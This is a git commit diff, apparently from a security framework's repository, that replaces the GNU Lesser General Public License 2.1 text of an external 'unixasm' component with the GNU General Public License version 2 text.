Update unixasm external source.
git-svn-id: file:///home/svn/framework3/trunk@9348 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
34f12a38ec
commit
380ed580fb
|
@ -1,397 +1,221 @@
|
|||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
Version 2.1, February 1999
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
|
||||
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
[This is the first released version of the Lesser GPL. It also counts
|
||||
as the successor of the GNU Library Public License, version 2, hence
|
||||
the version number 2.1.]
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
Licenses are intended to guarantee your freedom to share and change
|
||||
free software--to make sure the software is free for all its users.
|
||||
License is intended to guarantee your freedom to share and change free
|
||||
software--to make sure the software is free for all its users. This
|
||||
General Public License applies to most of the Free Software
|
||||
Foundation's software and to any other program whose authors commit to
|
||||
using it. (Some other Free Software Foundation software is covered by
|
||||
the GNU Lesser General Public License instead.) You can apply it to
|
||||
your programs, too.
|
||||
|
||||
This license, the Lesser General Public License, applies to some
|
||||
specially designated software packages--typically libraries--of the
|
||||
Free Software Foundation and other authors who decide to use it. You
|
||||
can use it too, but we suggest you first think carefully about whether
|
||||
this license or the ordinary General Public License is the better
|
||||
strategy to use in any particular case, based on the explanations below.
|
||||
|
||||
When we speak of free software, we are referring to freedom of use,
|
||||
not price. Our General Public Licenses are designed to make sure that
|
||||
you have the freedom to distribute copies of free software (and charge
|
||||
for this service if you wish); that you receive source code or can get
|
||||
it if you want it; that you can change the software and use pieces of
|
||||
it in new free programs; and that you are informed that you can do
|
||||
these things.
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
this service if you wish), that you receive source code or can get it
|
||||
if you want it, that you can change the software or use pieces of it
|
||||
in new free programs; and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
distributors to deny you these rights or to ask you to surrender these
|
||||
rights. These restrictions translate to certain responsibilities for
|
||||
you if you distribute copies of the library or if you modify it.
|
||||
anyone to deny you these rights or to ask you to surrender the rights.
|
||||
These restrictions translate to certain responsibilities for you if you
|
||||
distribute copies of the software, or if you modify it.
|
||||
|
||||
For example, if you distribute copies of the library, whether gratis
|
||||
or for a fee, you must give the recipients all the rights that we gave
|
||||
you. You must make sure that they, too, receive or can get the source
|
||||
code. If you link other code with the library, you must provide
|
||||
complete object files to the recipients, so that they can relink them
|
||||
with the library after making changes to the library and recompiling
|
||||
it. And you must show them these terms so they know their rights.
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must give the recipients all the rights that
|
||||
you have. You must make sure that they, too, receive or can get the
|
||||
source code. And you must show them these terms so they know their
|
||||
rights.
|
||||
|
||||
We protect your rights with a two-step method: (1) we copyright the
|
||||
library, and (2) we offer you this license, which gives you legal
|
||||
permission to copy, distribute and/or modify the library.
|
||||
We protect your rights with two steps: (1) copyright the software, and
|
||||
(2) offer you this license which gives you legal permission to copy,
|
||||
distribute and/or modify the software.
|
||||
|
||||
To protect each distributor, we want to make it very clear that
|
||||
there is no warranty for the free library. Also, if the library is
|
||||
modified by someone else and passed on, the recipients should know
|
||||
that what they have is not the original version, so that the original
|
||||
author's reputation will not be affected by problems that might be
|
||||
introduced by others.
|
||||
|
||||
Finally, software patents pose a constant threat to the existence of
|
||||
any free program. We wish to make sure that a company cannot
|
||||
effectively restrict the users of a free program by obtaining a
|
||||
restrictive license from a patent holder. Therefore, we insist that
|
||||
any patent license obtained for a version of the library must be
|
||||
consistent with the full freedom of use specified in this license.
|
||||
Also, for each author's protection and ours, we want to make certain
|
||||
that everyone understands that there is no warranty for this free
|
||||
software. If the software is modified by someone else and passed on, we
|
||||
want its recipients to know that what they have is not the original, so
|
||||
that any problems introduced by others will not reflect on the original
|
||||
authors' reputations.
|
||||
|
||||
Most GNU software, including some libraries, is covered by the
|
||||
ordinary GNU General Public License. This license, the GNU Lesser
|
||||
General Public License, applies to certain designated libraries, and
|
||||
is quite different from the ordinary General Public License. We use
|
||||
this license for certain libraries in order to permit linking those
|
||||
libraries into non-free programs.
|
||||
|
||||
When a program is linked with a library, whether statically or using
|
||||
a shared library, the combination of the two is legally speaking a
|
||||
combined work, a derivative of the original library. The ordinary
|
||||
General Public License therefore permits such linking only if the
|
||||
entire combination fits its criteria of freedom. The Lesser General
|
||||
Public License permits more lax criteria for linking other code with
|
||||
the library.
|
||||
|
||||
We call this license the "Lesser" General Public License because it
|
||||
does Less to protect the user's freedom than the ordinary General
|
||||
Public License. It also provides other free software developers Less
|
||||
of an advantage over competing non-free programs. These disadvantages
|
||||
are the reason we use the ordinary General Public License for many
|
||||
libraries. However, the Lesser license provides advantages in certain
|
||||
special circumstances.
|
||||
|
||||
For example, on rare occasions, there may be a special need to
|
||||
encourage the widest possible use of a certain library, so that it becomes
|
||||
a de-facto standard. To achieve this, non-free programs must be
|
||||
allowed to use the library. A more frequent case is that a free
|
||||
library does the same job as widely used non-free libraries. In this
|
||||
case, there is little to gain by limiting the free library to free
|
||||
software only, so we use the Lesser General Public License.
|
||||
|
||||
In other cases, permission to use a particular library in non-free
|
||||
programs enables a greater number of people to use a large body of
|
||||
free software. For example, permission to use the GNU C Library in
|
||||
non-free programs enables many more people to use the whole GNU
|
||||
operating system, as well as its variant, the GNU/Linux operating
|
||||
system.
|
||||
|
||||
Although the Lesser General Public License is Less protective of the
|
||||
users' freedom, it does ensure that the user of a program that is
|
||||
linked with the Library has the freedom and the wherewithal to run
|
||||
that program using a modified version of the Library.
|
||||
Finally, any free program is threatened constantly by software
|
||||
patents. We wish to avoid the danger that redistributors of a free
|
||||
program will individually obtain patent licenses, in effect making the
|
||||
program proprietary. To prevent this, we have made it clear that any
|
||||
patent must be licensed for everyone's free use or not licensed at all.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow. Pay close attention to the difference between a
|
||||
"work based on the library" and a "work that uses the library". The
|
||||
former contains code derived from the library, whereas the latter must
|
||||
be combined with the library in order to run.
|
||||
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
modification follow.
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License Agreement applies to any software library or other
|
||||
program which contains a notice placed by the copyright holder or
|
||||
other authorized party saying it may be distributed under the terms of
|
||||
this Lesser General Public License (also called "this License").
|
||||
Each licensee is addressed as "you".
|
||||
0. This License applies to any program or other work which contains
|
||||
a notice placed by the copyright holder saying it may be distributed
|
||||
under the terms of this General Public License. The "Program", below,
|
||||
refers to any such program or work, and a "work based on the Program"
|
||||
means either the Program or any derivative work under copyright law:
|
||||
that is to say, a work containing the Program or a portion of it,
|
||||
either verbatim or with modifications and/or translated into another
|
||||
language. (Hereinafter, translation is included without limitation in
|
||||
the term "modification".) Each licensee is addressed as "you".
|
||||
|
||||
A "library" means a collection of software functions and/or data
|
||||
prepared so as to be conveniently linked with application programs
|
||||
(which use some of those functions and data) to form executables.
|
||||
|
||||
The "Library", below, refers to any such software library or work
|
||||
which has been distributed under these terms. A "work based on the
|
||||
Library" means either the Library or any derivative work under
|
||||
copyright law: that is to say, a work containing the Library or a
|
||||
portion of it, either verbatim or with modifications and/or translated
|
||||
straightforwardly into another language. (Hereinafter, translation is
|
||||
included without limitation in the term "modification".)
|
||||
|
||||
"Source code" for a work means the preferred form of the work for
|
||||
making modifications to it. For a library, complete source code means
|
||||
all the source code for all modules it contains, plus any associated
|
||||
interface definition files, plus the scripts used to control compilation
|
||||
and installation of the library.
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running a program using the Library is not restricted, and output from
|
||||
such a program is covered only if its contents constitute a work based
|
||||
on the Library (independent of the use of the Library in a tool for
|
||||
writing it). Whether that is true depends on what the Library does
|
||||
and what the program that uses the Library does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Library's
|
||||
complete source code as you receive it, in any medium, provided that
|
||||
you conspicuously and appropriately publish on each copy an
|
||||
appropriate copyright notice and disclaimer of warranty; keep intact
|
||||
all the notices that refer to this License and to the absence of any
|
||||
warranty; and distribute a copy of this License along with the
|
||||
Library.
|
||||
running the Program is not restricted, and the output from the Program
|
||||
is covered only if its contents constitute a work based on the
|
||||
Program (independent of having been made by running the Program).
|
||||
Whether that is true depends on what the Program does.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy,
|
||||
and you may at your option offer warranty protection in exchange for a
|
||||
fee.
|
||||
|
||||
2. You may modify your copy or copies of the Library or any portion
|
||||
of it, thus forming a work based on the Library, and copy and
|
||||
1. You may copy and distribute verbatim copies of the Program's
|
||||
source code as you receive it, in any medium, provided that you
|
||||
conspicuously and appropriately publish on each copy an appropriate
|
||||
copyright notice and disclaimer of warranty; keep intact all the
|
||||
notices that refer to this License and to the absence of any warranty;
|
||||
and give any other recipients of the Program a copy of this License
|
||||
along with the Program.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy, and
|
||||
you may at your option offer warranty protection in exchange for a fee.
|
||||
|
||||
2. You may modify your copy or copies of the Program or any portion
|
||||
of it, thus forming a work based on the Program, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) The modified work must itself be a software library.
|
||||
|
||||
b) You must cause the files modified to carry prominent notices
|
||||
a) You must cause the modified files to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
c) You must cause the whole of the work to be licensed at no
|
||||
charge to all third parties under the terms of this License.
|
||||
b) You must cause any work that you distribute or publish, that in
|
||||
whole or in part contains or is derived from the Program or any
|
||||
part thereof, to be licensed as a whole at no charge to all third
|
||||
parties under the terms of this License.
|
||||
|
||||
d) If a facility in the modified Library refers to a function or a
|
||||
table of data to be supplied by an application program that uses
|
||||
the facility, other than as an argument passed when the facility
|
||||
is invoked, then you must make a good faith effort to ensure that,
|
||||
in the event an application does not supply such function or
|
||||
table, the facility still operates, and performs whatever part of
|
||||
its purpose remains meaningful.
|
||||
|
||||
(For example, a function in a library to compute square roots has
|
||||
a purpose that is entirely well-defined independent of the
|
||||
application. Therefore, Subsection 2d requires that any
|
||||
application-supplied function or table used by this function must
|
||||
be optional: if the application does not supply it, the square
|
||||
root function must still compute square roots.)
|
||||
c) If the modified program normally reads commands interactively
|
||||
when run, you must cause it, when started running for such
|
||||
interactive use in the most ordinary way, to print or display an
|
||||
announcement including an appropriate copyright notice and a
|
||||
notice that there is no warranty (or else, saying that you provide
|
||||
a warranty) and that users may redistribute the program under
|
||||
these conditions, and telling the user how to view a copy of this
|
||||
License. (Exception: if the Program itself is interactive but
|
||||
does not normally print such an announcement, your work based on
|
||||
the Program is not required to print an announcement.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Library,
|
||||
identifiable sections of that work are not derived from the Program,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Library, the distribution of the whole must be on the terms of
|
||||
on the Program, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote
|
||||
it.
|
||||
entire whole, and thus to each and every part regardless of who wrote it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Library.
|
||||
collective works based on the Program.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Library
|
||||
with the Library (or with a work based on the Library) on a volume of
|
||||
In addition, mere aggregation of another work not based on the Program
|
||||
with the Program (or with a work based on the Program) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may opt to apply the terms of the ordinary GNU General Public
|
||||
License instead of this License to a given copy of the Library. To do
|
||||
this, you must alter all the notices that refer to this License, so
|
||||
that they refer to the ordinary GNU General Public License, version 2,
|
||||
instead of to this License. (If a newer version than version 2 of the
|
||||
ordinary GNU General Public License has appeared, then you can specify
|
||||
that version instead if you wish.) Do not make any other change in
|
||||
these notices.
|
||||
|
||||
Once this change is made in a given copy, it is irreversible for
|
||||
that copy, so the ordinary GNU General Public License applies to all
|
||||
subsequent copies and derivative works made from that copy.
|
||||
3. You may copy and distribute the Program (or a work based on it,
|
||||
under Section 2) in object code or executable form under the terms of
|
||||
Sections 1 and 2 above provided that you also do one of the following:
|
||||
|
||||
This option is useful when you wish to copy part of the code of
|
||||
the Library into a program that is not a library.
|
||||
a) Accompany it with the complete corresponding machine-readable
|
||||
source code, which must be distributed under the terms of Sections
|
||||
1 and 2 above on a medium customarily used for software interchange; or,
|
||||
|
||||
4. You may copy and distribute the Library (or a portion or
|
||||
derivative of it, under Section 2) in object code or executable form
|
||||
under the terms of Sections 1 and 2 above provided that you accompany
|
||||
it with the complete corresponding machine-readable source code, which
|
||||
must be distributed under the terms of Sections 1 and 2 above on a
|
||||
medium customarily used for software interchange.
|
||||
b) Accompany it with a written offer, valid for at least three
|
||||
years, to give any third party, for a charge no more than your
|
||||
cost of physically performing source distribution, a complete
|
||||
machine-readable copy of the corresponding source code, to be
|
||||
distributed under the terms of Sections 1 and 2 above on a medium
|
||||
customarily used for software interchange; or,
|
||||
|
||||
If distribution of object code is made by offering access to copy
|
||||
from a designated place, then offering equivalent access to copy the
|
||||
source code from the same place satisfies the requirement to
|
||||
distribute the source code, even though third parties are not
|
||||
c) Accompany it with the information you received as to the offer
|
||||
to distribute corresponding source code. (This alternative is
|
||||
allowed only for noncommercial distribution and only if you
|
||||
received the program in object code or executable form with such
|
||||
an offer, in accord with Subsection b above.)
|
||||
|
||||
The source code for a work means the preferred form of the work for
|
||||
making modifications to it. For an executable work, complete source
|
||||
code means all the source code for all modules it contains, plus any
|
||||
associated interface definition files, plus the scripts used to
|
||||
control compilation and installation of the executable. However, as a
|
||||
special exception, the source code distributed need not include
|
||||
anything that is normally distributed (in either source or binary
|
||||
form) with the major components (compiler, kernel, and so on) of the
|
||||
operating system on which the executable runs, unless that component
|
||||
itself accompanies the executable.
|
||||
|
||||
If distribution of executable or object code is made by offering
|
||||
access to copy from a designated place, then offering equivalent
|
||||
access to copy the source code from the same place counts as
|
||||
distribution of the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
5. A program that contains no derivative of any portion of the
|
||||
Library, but is designed to work with the Library by being compiled or
|
||||
linked with it, is called a "work that uses the Library". Such a
|
||||
work, in isolation, is not a derivative work of the Library, and
|
||||
therefore falls outside the scope of this License.
|
||||
4. You may not copy, modify, sublicense, or distribute the Program
|
||||
except as expressly provided under this License. Any attempt
|
||||
otherwise to copy, modify, sublicense or distribute the Program is
|
||||
void, and will automatically terminate your rights under this License.
|
||||
However, parties who have received copies, or rights, from you under
|
||||
this License will not have their licenses terminated so long as such
|
||||
parties remain in full compliance.
|
||||
|
||||
However, linking a "work that uses the Library" with the Library
|
||||
creates an executable that is a derivative of the Library (because it
|
||||
contains portions of the Library), rather than a "work that uses the
|
||||
library". The executable is therefore covered by this License.
|
||||
Section 6 states terms for distribution of such executables.
|
||||
|
||||
When a "work that uses the Library" uses material from a header file
|
||||
that is part of the Library, the object code for the work may be a
|
||||
derivative work of the Library even though the source code is not.
|
||||
Whether this is true is especially significant if the work can be
|
||||
linked without the Library, or if the work is itself a library. The
|
||||
threshold for this to be true is not precisely defined by law.
|
||||
|
||||
If such an object file uses only numerical parameters, data
|
||||
structure layouts and accessors, and small macros and small inline
|
||||
functions (ten lines or less in length), then the use of the object
|
||||
file is unrestricted, regardless of whether it is legally a derivative
|
||||
work. (Executables containing this object code plus portions of the
|
||||
Library will still fall under Section 6.)
|
||||
|
||||
Otherwise, if the work is a derivative of the Library, you may
|
||||
distribute the object code for the work under the terms of Section 6.
|
||||
Any executables containing that work also fall under Section 6,
|
||||
whether or not they are linked directly with the Library itself.
|
||||
|
||||
6. As an exception to the Sections above, you may also combine or
|
||||
link a "work that uses the Library" with the Library to produce a
|
||||
work containing portions of the Library, and distribute that work
|
||||
under terms of your choice, provided that the terms permit
|
||||
modification of the work for the customer's own use and reverse
|
||||
engineering for debugging such modifications.
|
||||
|
||||
You must give prominent notice with each copy of the work that the
|
||||
Library is used in it and that the Library and its use are covered by
|
||||
this License. You must supply a copy of this License. If the work
|
||||
during execution displays copyright notices, you must include the
|
||||
copyright notice for the Library among them, as well as a reference
|
||||
directing the user to the copy of this License. Also, you must do one
|
||||
of these things:
|
||||
|
||||
a) Accompany the work with the complete corresponding
|
||||
machine-readable source code for the Library including whatever
|
||||
changes were used in the work (which must be distributed under
|
||||
Sections 1 and 2 above); and, if the work is an executable linked
|
||||
with the Library, with the complete machine-readable "work that
|
||||
uses the Library", as object code and/or source code, so that the
|
||||
user can modify the Library and then relink to produce a modified
|
||||
executable containing the modified Library. (It is understood
|
||||
that the user who changes the contents of definitions files in the
|
||||
Library will not necessarily be able to recompile the application
|
||||
to use the modified definitions.)
|
||||
|
||||
b) Use a suitable shared library mechanism for linking with the
|
||||
Library. A suitable mechanism is one that (1) uses at run time a
|
||||
copy of the library already present on the user's computer system,
|
||||
rather than copying library functions into the executable, and (2)
|
||||
will operate properly with a modified version of the library, if
|
||||
the user installs one, as long as the modified version is
|
||||
interface-compatible with the version that the work was made with.
|
||||
|
||||
c) Accompany the work with a written offer, valid for at
|
||||
least three years, to give the same user the materials
|
||||
specified in Subsection 6a, above, for a charge no more
|
||||
than the cost of performing this distribution.
|
||||
|
||||
d) If distribution of the work is made by offering access to copy
|
||||
from a designated place, offer equivalent access to copy the above
|
||||
specified materials from the same place.
|
||||
|
||||
e) Verify that the user has already received a copy of these
|
||||
materials or that you have already sent this user a copy.
|
||||
|
||||
For an executable, the required form of the "work that uses the
|
||||
Library" must include any data and utility programs needed for
|
||||
reproducing the executable from it. However, as a special exception,
|
||||
the materials to be distributed need not include anything that is
|
||||
normally distributed (in either source or binary form) with the major
|
||||
components (compiler, kernel, and so on) of the operating system on
|
||||
which the executable runs, unless that component itself accompanies
|
||||
the executable.
|
||||
|
||||
It may happen that this requirement contradicts the license
|
||||
restrictions of other proprietary libraries that do not normally
|
||||
accompany the operating system. Such a contradiction means you cannot
|
||||
use both them and the Library together in an executable that you
|
||||
distribute.
|
||||
|
||||
7. You may place library facilities that are a work based on the
|
||||
Library side-by-side in a single library together with other library
|
||||
facilities not covered by this License, and distribute such a combined
|
||||
library, provided that the separate distribution of the work based on
|
||||
the Library and of the other library facilities is otherwise
|
||||
permitted, and provided that you do these two things:
|
||||
|
||||
a) Accompany the combined library with a copy of the same work
|
||||
based on the Library, uncombined with any other library
|
||||
facilities. This must be distributed under the terms of the
|
||||
Sections above.
|
||||
|
||||
b) Give prominent notice with the combined library of the fact
|
||||
that part of it is a work based on the Library, and explaining
|
||||
where to find the accompanying uncombined form of the same work.
|
||||
|
||||
8. You may not copy, modify, sublicense, link with, or distribute
|
||||
the Library except as expressly provided under this License. Any
|
||||
attempt otherwise to copy, modify, sublicense, link with, or
|
||||
distribute the Library is void, and will automatically terminate your
|
||||
rights under this License. However, parties who have received copies,
|
||||
or rights, from you under this License will not have their licenses
|
||||
terminated so long as such parties remain in full compliance.
|
||||
|
||||
9. You are not required to accept this License, since you have not
|
||||
5. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Library or its derivative works. These actions are
|
||||
distribute the Program or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Library (or any work based on the
|
||||
Library), you indicate your acceptance of this License to do so, and
|
||||
modifying or distributing the Program (or any work based on the
|
||||
Program), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Library or works based on it.
|
||||
the Program or works based on it.
|
||||
|
||||
10. Each time you redistribute the Library (or any work based on the
|
||||
Library), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute, link with or modify the Library
|
||||
subject to these terms and conditions. You may not impose any further
|
||||
6. Each time you redistribute the Program (or any work based on the
|
||||
Program), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute or modify the Program subject to
|
||||
these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties with
|
||||
You are not responsible for enforcing compliance by third parties to
|
||||
this License.
|
||||
|
||||
11. If, as a consequence of a court judgment or allegation of patent
|
||||
|
||||
7. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Library at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Library by
|
||||
may not distribute the Program at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Program by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Library.
|
||||
refrain entirely from distribution of the Program.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under any
|
||||
particular circumstance, the balance of the section is intended to apply,
|
||||
and the section as a whole is intended to apply in other circumstances.
|
||||
If any portion of this section is held invalid or unenforceable under
|
||||
any particular circumstance, the balance of the section is intended to
|
||||
apply and the section as a whole is intended to apply in other
|
||||
circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system which is
|
||||
integrity of the free software distribution system, which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
|
@ -402,103 +226,114 @@ impose that choice.
|
|||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
12. If the distribution and/or use of the Library is restricted in
|
||||
8. If the distribution and/or use of the Program is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Library under this License may add
|
||||
an explicit geographical distribution limitation excluding those countries,
|
||||
so that distribution is permitted only in or among countries not thus
|
||||
excluded. In such case, this License incorporates the limitation as if
|
||||
written in the body of this License.
|
||||
original copyright holder who places the Program under this License
|
||||
may add an explicit geographical distribution limitation excluding
|
||||
those countries, so that distribution is permitted only in or among
|
||||
countries not thus excluded. In such case, this License incorporates
|
||||
the limitation as if written in the body of this License.
|
||||
|
||||
13. The Free Software Foundation may publish revised and/or new
|
||||
versions of the Lesser General Public License from time to time.
|
||||
Such new versions will be similar in spirit to the present version,
|
||||
but may differ in detail to address new problems or concerns.
|
||||
9. The Free Software Foundation may publish revised and/or new versions
|
||||
of the General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Library
|
||||
specifies a version number of this License which applies to it and
|
||||
"any later version", you have the option of following the terms and
|
||||
conditions either of that version or of any later version published by
|
||||
the Free Software Foundation. If the Library does not specify a
|
||||
license version number, you may choose any version ever published by
|
||||
the Free Software Foundation.
|
||||
|
||||
14. If you wish to incorporate parts of the Library into other free
|
||||
programs whose distribution conditions are incompatible with these,
|
||||
write to the author to ask for permission. For software which is
|
||||
copyrighted by the Free Software Foundation, write to the Free
|
||||
Software Foundation; we sometimes make exceptions for this. Our
|
||||
decision will be guided by the two goals of preserving the free status
|
||||
of all derivatives of our free software and of promoting the sharing
|
||||
and reuse of software generally.
|
||||
Each version is given a distinguishing version number. If the Program
|
||||
specifies a version number of this License which applies to it and "any
|
||||
later version", you have the option of following the terms and conditions
|
||||
either of that version or of any later version published by the Free
|
||||
Software Foundation. If the Program does not specify a version number of
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
to ask for permission. For software which is copyrighted by the Free
|
||||
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||
make exceptions for this. Our decision will be guided by the two goals
|
||||
of preserving the free status of all derivatives of our free software and
|
||||
of promoting the sharing and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
|
||||
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
|
||||
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
|
||||
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
|
||||
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
|
||||
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
|
||||
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||
REPAIR OR CORRECTION.
|
||||
|
||||
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
|
||||
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
|
||||
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
|
||||
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
|
||||
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
|
||||
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
|
||||
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
|
||||
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
|
||||
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
|
||||
DAMAGES.
|
||||
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Libraries
|
||||
|
||||
If you develop a new library, and you want it to be of the greatest
|
||||
possible use to the public, we recommend making it free software that
|
||||
everyone can redistribute and change. You can do so by permitting
|
||||
redistribution under these terms (or, alternatively, under the terms of the
|
||||
ordinary General Public License).
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
To apply these terms, attach the following notices to the library. It is
|
||||
safest to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least the
|
||||
"copyright" line and a pointer to where the full notice is found.
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
<one line to give the library's name and a brief idea of what it does.>
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
